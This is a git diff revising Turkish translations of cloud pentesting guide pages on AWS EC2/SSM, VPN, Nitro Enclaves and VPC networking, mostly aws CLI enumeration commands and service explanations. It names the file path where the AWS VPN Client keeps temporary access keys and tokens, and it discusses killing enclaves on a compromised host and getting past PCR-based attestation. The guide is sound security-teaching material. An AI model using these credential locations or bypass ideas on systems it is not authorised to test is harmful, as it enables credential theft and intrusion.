**SSM Agent hizmetini çalıştırıyor olmalıdır, çünkü bu hizmet AWS API'sinden gelen eylemleri alıp gerçekleştirecektir**. +**Amazon Simple Systems Manager (SSM)**, EC2 örneklerinin gruplarını uzaktan yönetmeyi sağlar ve yönetimlerini çok daha kolay hale getirir. Bu örneklerin her biri, **SSM Agent hizmetini çalıştırıyor olmalıdır, çünkü bu hizmet AWS API'sinden gelen eylemleri alıp gerçekleştirecektir.** **SSM Agent**, Sistem Yöneticisi'nin bu kaynakları güncellemesini, yönetmesini ve yapılandırmasını mümkün kılar. Ajan, **AWS Bulutundaki Sistem Yöneticisi hizmetinden gelen istekleri işler** ve ardından isteklerde belirtildiği gibi çalıştırır. -**SSM Agent**, [**bazı AMI'lerde önceden yüklenmiş olarak gelir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) veya bunları [**örneklere manuel olarak yüklemeniz gerekir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). Ayrıca, örnek içinde kullanılan IAM Rolü'nün iletişim kurabilmesi için **AmazonEC2RoleforSSM** politikasına sahip olması gerekir. +**SSM Agent**, [**bazı AMI'lerde önceden yüklenmiş olarak gelir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) veya örneklerde [**manuel olarak yüklemeniz gerekir**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html). Ayrıca, örnek içinde kullanılan IAM Rolü, iletişim kurabilmesi için **AmazonEC2RoleforSSM** politikasına sahip olmalıdır. ### Sayım ```bash @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -EC2 örneğinde Systems Manager'ın çalışıp çalışmadığını kontrol etmek için sadece şunu çalıştırabilirsiniz: +Bir EC2 örneğinde Systems Manager'ın çalışıp çalışmadığını kontrol etmek için sadece şunu çalıştırabilirsiniz: ```bash ps aux | grep amazon-ssm ``` @@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro, AWS EC2 örneklerinin temel platformunu oluşturan **yenilikçi teknolojiler** setidir. Amazon tarafından **güvenliği, performansı ve güvenilirliği artırmak** amacıyla tanıtılan Nitro, özel **donanım bileşenleri ve hafif bir hipervizör** kullanır. Geleneksel sanallaştırma işlevlerinin çoğunu özel donanım ve yazılıma soyutlayarak, **saldırı yüzeyini minimize eder** ve kaynak verimliliğini artırır. Sanallaştırma işlevlerini devrederek, Nitro'nun EC2 örneklerinin **neredeyse bare-metal performansı** sunmasına olanak tanır, bu da kaynak yoğun uygulamalar için özellikle faydalıdır. Ayrıca, Nitro Güvenlik Çipi, **donanım ve yazılım güvenliğini** özel olarak sağlar ve sağlam mimarisini daha da güçlendirir. +AWS Nitro, AWS EC2 örneklerinin temel platformunu oluşturan **yenilikçi teknolojiler** paketidir. Amazon tarafından **güvenliği, performansı ve güvenilirliği artırmak** amacıyla tanıtılan Nitro, özel **donanım bileşenleri ve hafif bir hipervizör** kullanır. Geleneksel sanallaştırma işlevlerinin çoğunu özel donanım ve yazılıma soyutlayarak, **saldırı yüzeyini minimize eder** ve kaynak verimliliğini artırır. Sanallaştırma işlevlerini devrederek, Nitro'nun EC2 örneklerinin **neredeyse bare-metal performansı** sunmasına olanak tanır, bu da kaynak yoğun uygulamalar için özellikle faydalıdır. Ayrıca, Nitro Güvenlik Çipi, **donanım ve yazılım güvenliğini** özel olarak sağlar ve sağlam mimarisini daha da güçlendirir. -Daha fazla bilgi ve nasıl sıralanacağı hakkında bilgi almak için: +Daha fazla bilgi ve nasıl sayılacağı hakkında bilgi almak için: {{#ref}} aws-nitro-enum.md @@ -238,7 +238,7 @@ aws-nitro-enum.md ## VPN -Bir VPN, **on-premise ağınızı (site-to-site VPN)** veya **çalışanların dizüstü bilgisayarlarını (Client VPN)** **AWS VPC** ile bağlayarak hizmetlerin internete maruz kalmadan erişilmesini sağlar. +Bir VPN, **on-premise ağınızı (site-to-site VPN)** veya **çalışanların dizüstü bilgisayarlarını (Client VPN)** bir **AWS VPC** ile bağlayarak hizmetlerin internete maruz kalmadan erişilmesini sağlar. #### Temel AWS VPN Bileşenleri @@ -248,24 +248,24 @@ Bir VPN, **on-premise ağınızı (site-to-site VPN)** veya **çalışanların d - AWS'ye bir Müşteri Geçidi oluşturmak için yönlendirme bilgilerini ve ağ cihazınızın (örneğin bir yönlendirici veya bir güvenlik duvarı) genel IP adresini sağlarsınız. - VPN bağlantısını kurmak için bir referans noktası olarak hizmet eder ve ek ücretler getirmez. 2. **Sanal Özel Geçit**: -- Sanal Özel Geçit (VPG), Amazon tarafındaki Site-to-Site VPN bağlantısındaki VPN konsantratörüdür. +- Sanal Özel Geçit (VPG), Site-to-Site VPN bağlantısının Amazon tarafındaki VPN konsantratörüdür. - VPC'nize bağlıdır ve VPN bağlantınız için hedef olarak hizmet eder. - VPG, VPN bağlantısının AWS tarafı uç noktasıdır. - VPC'niz ile on-premises ağınız arasındaki güvenli iletişimi yönetir. 3. **Site-to-Site VPN Bağlantısı**: -- Site-to-Site VPN bağlantısı, on-premises ağınızı güvenli, IPsec VPN tüneli aracılığıyla bir VPC'ye bağlar. +- Site-to-Site VPN bağlantısı, on-premises ağınızı güvenli bir IPsec VPN tüneli aracılığıyla bir VPC'ye bağlar. - Bu tür bir bağlantı, bir Müşteri Geçidi ve bir Sanal Özel Geçit gerektirir. - Veri merkeziniz veya ağınız ile AWS ortamınız arasında güvenli, kararlı ve tutarlı iletişim için kullanılır. - Genellikle düzenli, uzun vadeli bağlantılar için kullanılır ve bağlantı üzerinden aktarılan veri miktarına göre faturalandırılır. 4. **Client VPN Uç Noktası**: - Client VPN uç noktası, AWS'de istemci VPN oturumlarını etkinleştirmek ve yönetmek için oluşturduğunuz bir kaynaktır. - Bireysel cihazların (dizüstü bilgisayarlar, akıllı telefonlar vb.) AWS kaynaklarına veya on-premises ağınıza güvenli bir şekilde bağlanmasını sağlamak için kullanılır. -- Site-to-Site VPN'den, tüm ağları bağlamak yerine bireysel istemciler için tasarlanmış olması bakımından farklıdır. +- Site-to-Site VPN'den farklı olarak, tüm ağları bağlamak yerine bireysel istemciler için tasarlanmıştır. - Client VPN ile her istemci cihazı, güvenli bir bağlantı kurmak için bir VPN istemci yazılımı kullanır. [**AWS VPN'lerinin faydaları ve bileşenleri hakkında daha fazla bilgi bulabilirsiniz**](aws-vpc-and-networking-basic-information.md#vpn). -### Sıralama +### Enumeration ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections **Yerel Geçici Kimlik Bilgileri** -AWS VPN Client bir VPN'e bağlanmak için kullanıldığında, kullanıcı genellikle **AWS'e giriş yapar** ve VPN'e erişim elde eder. Ardından, VPN bağlantısını kurmak için bazı **AWS kimlik bilgileri oluşturulur ve yerel olarak saklanır**. Bu kimlik bilgileri **şu konumda saklanır**: `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` ve bir **AccessKey**, bir **SecretKey** ve bir **Token** içerir. +AWS VPN Client bir VPN'e bağlanmak için kullanıldığında, kullanıcı genellikle **AWS'ye giriş yapar** ve VPN'e erişim elde eder. Ardından, VPN bağlantısını kurmak için bazı **AWS kimlik bilgileri oluşturulur ve yerel olarak saklanır**. Bu kimlik bilgileri **şu konumda saklanır**: `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` ve bir **AccessKey**, bir **SecretKey** ve bir **Token** içerir. Kimlik bilgileri `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` kullanıcısına aittir (TODO: bu kimlik bilgilerinin izinleri hakkında daha fazla araştırma yap). @@ -301,7 +301,7 @@ Kimlik bilgileri `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-anal Eğer bir **VPN bağlantısı kurulduysa**, sistemde **`.opvn`** yapılandırma dosyalarını aramalısınız. Ayrıca, **yapılandırmaları** bulabileceğiniz bir yer **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**'dir. -#### **Sonuçların Kullanımı** +#### **Sonrası Sömürü** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index ef6b86038..569986566 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -8,7 +8,7 @@ AWS Nitro, AWS EC2 örnekleri için temel platformu oluşturan **yenilikçi tekn ### Nitro Enclaves -**AWS Nitro Enclaves**, Amazon EC2 örnekleri içinde yüksek hassasiyetli verilerin işlenmesi için özel olarak tasarlanmış güvenli, **izole bir hesaplama ortamı** sağlar. AWS Nitro Sistemi'nden yararlanarak, bu enclaves güçlü **izolasyon ve güvenlik** sağlar, **gizli bilgilerin** (PII veya finansal kayıtlar gibi) işlenmesi için idealdir. Minimalist bir ortam sunarak, veri ifşası riskini önemli ölçüde azaltır. Ayrıca, Nitro Enclaves, kullanıcıların yalnızca yetkilendirilmiş kodun çalıştığını doğrulamalarına olanak tanıyan kriptografik onaylamayı destekler; bu, sıkı uyum ve veri koruma standartlarının korunması için kritik öneme sahiptir. +**AWS Nitro Enclaves**, Amazon EC2 örnekleri içinde, son derece hassas verilerin işlenmesi için özel olarak tasarlanmış güvenli, **izole bir hesaplama ortamı** sağlar. AWS Nitro Sistemi'nden yararlanarak, bu enclaves güçlü **izolasyon ve güvenlik** sağlar, **gizli bilgilerin** işlenmesi için idealdir, örneğin PII veya finansal kayıtlar gibi. Minimalist bir ortam sunarak, veri ifşası riskini önemli ölçüde azaltır. Ayrıca, Nitro Enclaves, kullanıcıların yalnızca yetkili kodun çalıştığını doğrulamasına olanak tanıyan kriptografik onaylamayı destekler, bu da sıkı uyum ve veri koruma standartlarının korunması için kritik öneme sahiptir. > [!CAUTION] > Nitro Enclave görüntüleri **EC2 örnekleri içinden çalıştırılır** ve AWS web konsolundan bir EC2 örneğinin Nitro Enclave'de görüntü çalıştırıp çalıştırmadığını göremezsiniz. @@ -33,7 +33,7 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n ``` ## Nitro Enclave Görüntüleri -Nitro Enclave'de çalıştırabileceğiniz görüntüler, docker görüntülerine dayanmaktadır, bu nedenle Nitro Enclave görüntülerinizi şu şekilde docker görüntülerinden oluşturabilirsiniz: +Nitro Enclave'da çalıştırabileceğiniz görüntüler, docker görüntülerine dayanmaktadır, bu nedenle Nitro Enclave görüntülerinizi şu docker görüntülerinden oluşturabilirsiniz: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image @@ -56,12 +56,12 @@ Enclave Image successfully created. ``` ### Bir Görüntü Çalıştır -[**belgelere**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) göre, bir enclave görüntüsü çalıştırmak için ona **`eif` dosyasının boyutunun en az 4 katı kadar bellek** atamanız gerekir. Dosyada ona verilecek varsayılan kaynakları yapılandırmak mümkündür. +[**belgelere**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) göre, bir enclave görüntüsü çalıştırmak için ona **`eif` dosyasının boyutunun en az 4 katı kadar bellek** atamanız gerekir. Ona verilecek varsayılan kaynakları dosyada yapılandırmak mümkündür. ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] -> Her zaman **ebeveyn EC2** örneği için de bazı kaynakları **ayırmanız** gerektiğini unutmayın! +> Her zaman **ebeveyn EC2** örneği için de bazı kaynakları **ayırmanız gerektiğini** unutmayın! Bir görüntüye verilecek kaynakları öğrendikten ve yapılandırma dosyasını değiştirdikten sonra, bir enclave görüntüsünü çalıştırmak mümkündür: ```shell @@ -77,22 +77,22 @@ Eğer bir EC2 sunucusunu ele geçirirseniz, çalışan enclave görüntülerinin ```bash nitro-cli describe-enclaves ``` -**Çalışan bir enclave görüntüsünde bir shell almak mümkün değildir** çünkü enclave'in ana amacı budur, ancak **`--debug-mode`** parametresini kullanırsanız, bunun **stdout**'sunu almak mümkündür: +Bir çalışan enclave görüntüsünde **bir shell almak mümkün değildir** çünkü enclave'in ana amacı budur, ancak **`--debug-mode`** parametresini kullanırsanız, bunun **stdout**'unu almak mümkündür: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Enklaveleri Sonlandır +### Enklaveleri Sonlandırma -Eğer bir saldırgan bir EC2 örneğini ele geçirirse, varsayılan olarak içinde bir shell elde edemeyecektir, ancak onları **sonlandırabilecektir**: +Eğer bir saldırgan bir EC2 örneğini ele geçirirse, varsayılan olarak içlerinde bir shell elde edemeyecek, ancak onları **sonlandırma** yeteneğine sahip olacaktır: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` ## Vsocks -Bir **enclave** üzerinde çalışan görüntü ile iletişim kurmanın tek yolu **vsocks** kullanmaktır. +Bir **enclave** çalışan görüntü ile iletişim kurmanın tek yolu **vsocks** kullanmaktır. -**Sanal Soket (vsock)**, sanal makineler (**VM'ler**) ile **hypervisor'ları** arasında veya VM'ler **arasında** iletişimi kolaylaştırmak için özel olarak tasarlanmış bir soket ailesidir. Vsock, ana bilgisayarın ağ yığınına güvenmeden verimli, **iki yönlü iletişim** sağlar. Bu, VM'lerin ağ yapılandırmalarına ihtiyaç duymadan iletişim kurmasını mümkün kılar; **bağlantıları tanımlamak ve yönetmek için 32 bitlik Bir Bağlam Kimliği (CID) ve port numaraları** kullanır. Vsock API'si, TCP ve UDP'ye benzer şekilde, akış ve datagram soket türlerini destekleyerek sanal ortamlardaki kullanıcı düzeyindeki uygulamalar için çok yönlü bir araç sağlar. +**Virtual Socket (vsock)**, sanal makineler (**VM'ler**) ile **hypervisor'lar** arasında veya VM'ler **arasında** iletişimi kolaylaştırmak için özel olarak tasarlanmış bir soket ailesidir. Vsock, ana bilgisayarın ağ yığınına güvenmeden verimli, **iki yönlü iletişim** sağlar. Bu, VM'lerin ağ yapılandırmalarına ihtiyaç duymadan iletişim kurmasını mümkün kılar; **bağlantıları tanımlamak ve yönetmek için 32-bit Context ID (CID) ve port numaraları** kullanır. Vsock API'si, TCP ve UDP'ye benzer şekilde, akış ve datagram soket türlerini destekleyerek sanal ortamlardaki kullanıcı düzeyindeki uygulamalar için çok yönlü bir araç sağlar. > [!TIP] > Bu nedenle, bir vsock adresi şu şekilde görünür: `:` @@ -198,11 +198,11 @@ echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` ### Vsock Proxy -Araç vsock-proxy, başka bir adresle bir vsock proxy'sini proxy'lemenizi sağlar, örneğin: +Aracın vsock-proxy, başka bir adresle bir vsock proxy'sini proxy'lemesine olanak tanır, örneğin: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` -Bu, **vsock'taki yerel 8001 portunu** `ip-ranges.amazonaws.com:443` adresine yönlendirecek ve **`your-vsock-proxy.yaml`** dosyası, `ip-ranges.amazonaws.com:443` adresine erişimi sağlayan bu içeriğe sahip olabilir: +Bu, **vsock'taki yerel 8001 portunu** `ip-ranges.amazonaws.com:443` adresine yönlendirecek ve **`your-vsock-proxy.yaml`** dosyası, `ip-ranges.amazonaws.com:443` adresine erişimi sağlayacak bu içeriğe sahip olabilir: ```yaml allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } @@ -214,28 +214,28 @@ v_str LISTEN 0 0 ``` ## Nitro Enclave Atestasyonu & KMS -Nitro Enclaves SDK, bir enclave'in Nitro **Hypervisor**'dan **kriptografik olarak imzalanmış bir atestasyon belgesi** talep etmesine olanak tanır; bu belge, o enclave'e özgü **benzersiz ölçümler** içerir. Bu ölçümler, **hash'ler ve platform yapılandırma kayıtları (PCR'ler)** dahil olmak üzere, atestasyon sürecinde **enclave'in kimliğini kanıtlamak** ve **harici hizmetlerle güven inşa etmek** için kullanılır. Atestasyon belgesi genellikle PCR0, PCR1 ve PCR2 gibi değerler içerir; bunlar daha önce bir enclave EIF oluştururken ve kaydederken karşılaştığınız değerlerdir. +Nitro Enclaves SDK, bir enclave'in Nitro **Hypervisor**'dan **kriptografik olarak imzalanmış bir atestasyon belgesi** talep etmesine olanak tanır; bu belge, o enclave'e özgü **benzersiz ölçümler** içerir. Bu ölçümler, **hash'ler ve platform yapılandırma kayıtları (PCR'ler)** dahil olmak üzere, atestasyon sürecinde **enclave'in kimliğini kanıtlamak** ve **harici hizmetlerle güven inşa etmek** için kullanılır. Atestasyon belgesi genellikle PCR0, PCR1 ve PCR2 gibi değerler içerir; bu değerlerle daha önce bir enclave EIF oluştururken ve kaydederken karşılaşmış olabilirsiniz. -[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) sayfasından, bu PCR değerleri: +[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) kaynaklarına göre, bu PCR değerleridir:
PCRHash of ...Açıklama
PCR0Enclave görüntü dosyasıGörüntü dosyasının içeriklerinin kesintisiz ölçümü, bölüm verileri olmadan.
PCR1Linux çekirdeği ve bootstrapÇekirdek ve boot ramfs verilerinin kesintisiz ölçümü.
PCR2UygulamaKullanıcı uygulamalarının kesintisiz, sıralı ölçümü, boot ramfs olmadan.
PCR3Üst örneğe atanan IAM rolüÜst örneğe atanan IAM rolünün kesintisiz ölçümü. Atestasyon sürecinin yalnızca üst örnek doğru IAM rolüne sahip olduğunda başarılı olmasını sağlar.
PCR4Üst örneğin ID'siÜst örneğin ID'sinin kesintisiz ölçümü. Atestasyon sürecinin yalnızca üst örnek belirli bir örnek ID'sine sahip olduğunda başarılı olmasını sağlar.
PCR8Enclave görüntü dosyası imzalama sertifikasıEnclave görüntü dosyası için belirtilen imzalama sertifikasının ölçümü. Atestasyon sürecinin yalnızca enclave, belirli bir sertifika ile imzalanmış bir enclave görüntü dosyasından başlatıldığında başarılı olmasını sağlar.
**Kriptografik atestasyonu** uygulamalarınıza entegre edebilir ve **AWS KMS** gibi hizmetlerle önceden oluşturulmuş entegrasyonlardan yararlanabilirsiniz. AWS KMS, **enclave atestasyonlarını doğrulayabilir** ve anahtar politikalarında atestasyona dayalı koşul anahtarları (`kms:RecipientAttestation:ImageSha384` ve `kms:RecipientAttestation:PCR`) sunar. Bu politikalar, AWS KMS'nin KMS anahtarını **yalnızca enclave'in atestasyon belgesi geçerli olduğunda** ve **belirtilen koşulları karşıladığında** kullanmasına izin verir. > [!TIP] -> Debug (--debug) modundaki Enclaves'in, sıfırlardan (`000000000000000000000000000000000000000000000000`) oluşan PCR'lerle atestasyon belgeleri ürettiğini unutmayın. Bu nedenle, bu değerleri kontrol eden KMS politikaları başarısız olacaktır. +> Debug (--debug) modunda Enclaves, sıfırlardan (`000000000000000000000000000000000000000000000000`) oluşan PCR'lerle atestasyon belgeleri üretir. Bu nedenle, bu değerleri kontrol eden KMS politikaları başarısız olacaktır. ### PCR Atlatma -Bir saldırgan perspektifinden, bazı PCR'lerin enclave görüntüsünün bazı kısımlarını veya tamamını değiştirmeye izin vereceğini ve yine de geçerli olacağını fark edin (örneğin, PCR4 yalnızca üst örneğin ID'sini kontrol eder, bu nedenle o EC2'de herhangi bir enclave görüntüsü çalıştırmak bu potansiyel PCR gereksinimini karşılamaya izin verecektir). +Saldırganlar açısından bakıldığında, bazı PCR'lerin enclave görüntüsünün bazı kısımlarını veya tamamını değiştirmeye izin vereceğini ve yine de geçerli olacağını fark edin (örneğin, PCR4 yalnızca üst örneğin ID'sini kontrol eder, bu nedenle bu EC2'de herhangi bir enclave görüntüsü çalıştırmak bu potansiyel PCR gereksinimini karşılayacaktır). Bu nedenle, EC2 örneğini tehlikeye atan bir saldırgan, bu korumaları atlatmak için diğer enclave görüntülerini çalıştırma yeteneğine sahip olabilir. -Her korumayı atlatmak için yeni görüntüleri nasıl değiştireceğinize/oluşturacağınıza dair araştırma hala TODO'dur. +Her korumayı atlatmak için yeni görüntüleri nasıl değiştireceğine/oluşturacağına dair araştırma hala TODO'dur. ## Referanslar - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- AWS'den Nitro eğitimine ait tüm bölümler: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- AWS'den Nitro eğitiminin tüm bölümleri: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 64535a8d4..3a6ba92b9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -10,16 +10,16 @@ Bu VPC ağı, **alt ağlara** bölünmüştür, bu nedenle bir **alt ağ**, **VP Daha sonra, hizmetlere (EC2 örnekleri gibi) bağlı **Ağ Arayüzleri**, **güvenlik grubu** ile **alt ağlara** **bağlanır**. -Bu nedenle, bir **güvenlik grubu**, **kullanılan** ağ **arayüzlerinin** açığa çıkan portlarını **alt ağdan bağımsız olarak** sınırlayacaktır. Ve bir **ağ ACL**, açığa çıkan portları **tüm ağa** **sınırlayacaktır**. +Bu nedenle, bir **güvenlik grubu**, **kullanılan** ağ **arayüzlerinin** maruz kalan portlarını **alt ağa bağımsız olarak** sınırlayacaktır. Ve bir **ağ ACL**, **tüm ağa** maruz kalan portları **sınırlayacaktır**. Ayrıca, **İnternete erişim** sağlamak için kontrol edilmesi gereken bazı ilginç yapılandırmalar vardır: -- Bir **alt ağ**, **otomatik olarak genel IPv4 adresleri atayabilir** -- **Otomatik olarak IPv4 adresleri atayan** ağda oluşturulan bir **örnek**, bir tane alabilir -- Bir **İnternet geçidi**, **VPC'ye** **bağlanmalıdır** -- **Sadece çıkış internet geçitleri** de kullanabilirsiniz -- Ayrıca, **özel bir alt ağda** bir **NAT geçidi** bulundurabilirsiniz, böylece o özel alt ağdan **harici hizmetlere bağlanmak** mümkündür, ancak dışarıdan onlara ulaşmak **mümkün değildir**. -- NAT geçidi **genel** (internete erişim) veya **özel** (diğer VPC'lere erişim) olabilir +- Bir **alt ağ**, **kamu IPv4 adreslerini otomatik atayabilir** +- **Otomatik IPv4 adresleri atayan** ağda oluşturulan bir **örnek**, bir tane alabilir +- Bir **İnternet geçidi**, **VPC'ye eklenmelidir** +- **Sadece çıkış internet geçitleri** de kullanılabilir +- **Özel bir alt ağda** bir **NAT geçidi** de olabilir, böylece o özel alt ağdan **harici hizmetlere bağlanmak** mümkündür, ancak dışarıdan onlara ulaşmak **mümkün değildir**. +- NAT geçidi **kamu** (internete erişim) veya **özel** (diğer VPC'lere erişim) olabilir ![](<../../../../images/image (274).png>) @@ -31,10 +31,10 @@ Amazon **Sanal Özel Bulut** (Amazon VPC), tanımladığınız bir sanal ağa ** Alt ağlar, daha yüksek bir güvenlik seviyesi sağlamaya yardımcı olur. **Benzer kaynakların mantıksal gruplaması**, altyapınızda **yönetim kolaylığı** sağlamaya da yardımcı olur. -- Geçerli CIDR'ler /16 ağ maskesinden /28 ağ maskesine kadar uzanır. +- Geçerli CIDR'ler /16 ağ maskesinden /28 ağ maskesine kadar olanlardır. - Bir alt ağ, aynı anda farklı kullanılabilirlik bölgelerinde olamaz. -- **AWS, her alt ağın ilk üç ana IP adresini** **içsel AWS kullanımı için** **ayırır**: ilk ana adres, VPC yönlendiricisi içindir. İkinci adres AWS DNS için ayrılmıştır ve üçüncü adres gelecekteki kullanım için ayrılmıştır. -- **İnternete doğrudan erişimi olan** alt ağlara **genel alt ağlar** denir, oysa özel alt ağlar buna sahip değildir. +- **AWS, her alt ağın ilk üç ana IP adresini** **içsel AWS kullanımı için** **ayırır**: kullanılan ilk ana adres VPC yönlendiricisi içindir. İkinci adres AWS DNS için ayrılmıştır ve üçüncü adres gelecekteki kullanım için ayrılmıştır. +- **İnternete doğrudan erişimi olan** alt ağlara **kamu alt ağları** denir, oysa özel alt ağlar buna sahip değildir.
@@ -42,15 +42,15 @@ Alt ağlar, daha yüksek bir güvenlik seviyesi sağlamaya yardımcı olur. **Be ### Yönlendirme Tabloları -Yönlendirme tabloları, bir VPC içindeki bir alt ağ için trafik yönlendirmesini belirler. Hangi ağ trafiğinin internete veya bir VPN bağlantısına yönlendirileceğini belirler. Genellikle şunlara erişim bulursunuz: +Yönlendirme tabloları, bir VPC içindeki bir alt ağ için trafik yönlendirmesini belirler. Hangi ağ trafiğinin internete veya bir VPN bağlantısına yönlendirileceğini belirler. Genellikle erişim bulursunuz: - Yerel VPC - NAT - İnternet Geçitleri / Sadece çıkış internet geçitleri (VPC'ye İnternete erişim sağlamak için gereklidir). -- Bir alt ağı genel yapmak için, VPC'nize bir **İnternet geçidi** **oluşturmalı** ve **bağlamalısınız**. +- Bir alt ağı kamu yapmak için, VPC'nize bir **İnternet geçidi** **oluşturup eklemeniz** gerekir. - VPC uç noktaları (özel ağlardan S3'e erişim için) -Aşağıdaki resimlerde, varsayılan bir genel ağ ile özel bir ağ arasındaki farkları kontrol edebilirsiniz: +Aşağıdaki resimlerde, varsayılan bir kamu ağı ile özel bir ağ arasındaki farkları kontrol edebilirsiniz:
@@ -60,35 +60,35 @@ Aşağıdaki resimlerde, varsayılan bir genel ağ ile özel bir ağ arasındaki **Ağ Erişim Kontrol Listeleri (ACL'ler)**: Ağ ACL'leri, bir alt ağa gelen ve giden ağ trafiğini kontrol eden güvenlik duvarı kurallarıdır. Belirli IP adreslerine veya aralıklara trafik izni vermek veya engellemek için kullanılabilirler. -- Erişimi sağlamak/engellemek için güvenlik gruplarını kullanmak en yaygın olanıdır, ancak bu, kurulu ters shell'leri tamamen kesmenin tek yoludur. Güvenlik gruplarındaki değiştirilmiş bir kural, zaten kurulmuş bağlantıları durdurmaz. -- Ancak, bu tüm alt ağa uygulanır, bu nedenle yasaklama yaparken dikkatli olun, çünkü gerekli işlevsellik bozulabilir. +- Erişimi sağlamak/engellemek için güvenlik gruplarını kullanmak en yaygın olanıdır, ancak bu, kurulu ters shell'leri tamamen kesmenin tek yoludur. Bir güvenlik grubundaki değiştirilmiş bir kural, zaten kurulmuş bağlantıları durdurmaz. +- Ancak, bu tüm alt ağa uygulanır, bu nedenle engelleme yaparken dikkatli olun, çünkü gerekli işlevsellik bozulabilir. ### Güvenlik Grupları Güvenlik grupları, bir VPC'deki örneklere gelen ve giden ağ **trafiklerini** kontrol eden sanal bir **güvenlik duvarıdır**. 1 SG ile M örnek ilişkisi (genellikle 1'e 1).\ -Genellikle, örneklerde tehlikeli portları açmak için kullanılır, örneğin port 22 gibi: +Genellikle bu, örneklerde tehlikeli portları açmak için kullanılır, örneğin port 22 gibi:
### Elastik IP Adresleri -Bir _Elastik IP adresi_, dinamik bulut bilişim için tasarlanmış bir **statik IPv4 adresidir**. Bir Elastik IP adresi, AWS hesabınıza tahsis edilir ve serbest bırakana kadar sizin olur. Bir Elastik IP adresi kullanarak, bir örneğin veya yazılımın başarısızlığını hızla başka bir örneğe yeniden yönlendirerek maskeleyebilirsiniz. +Bir _Elastik IP adresi_, dinamik bulut bilişim için tasarlanmış bir **statik IPv4 adresidir**. Bir Elastik IP adresi, AWS hesabınıza tahsis edilir ve serbest bırakana kadar sizin olur. Bir Elastik IP adresi kullanarak, bir örneğin veya yazılımın başarısızlığını hızla başka bir örneğe yeniden eşleyerek maskeleyebilirsiniz. ### Alt Ağlar Arasındaki Bağlantı -Varsayılan olarak, tüm alt ağların **otomatik olarak genel IP adresleri atama özelliği kapalıdır**, ancak açılabilir. +Varsayılan olarak, tüm alt ağların **kamu IP adreslerinin otomatik atanması kapalıdır**, ancak açılabilir. **Bir yönlendirme tablosundaki yerel bir yönlendirme, VPC alt ağları arasında iletişimi sağlar.** -Eğer **bir alt ağı farklı bir alt ağ ile bağlıyorsanız, diğer alt ağ ile bağlı alt ağlara erişemezsiniz**, onlarla doğrudan bağlantı kurmanız gerekir. **Bu, internet geçitleri için de geçerlidir**. İnternete erişmek için bir alt ağ bağlantısı üzerinden geçemezsiniz, internet geçidini alt ağınıza atamanız gerekir. +Eğer **bir alt ağı farklı bir 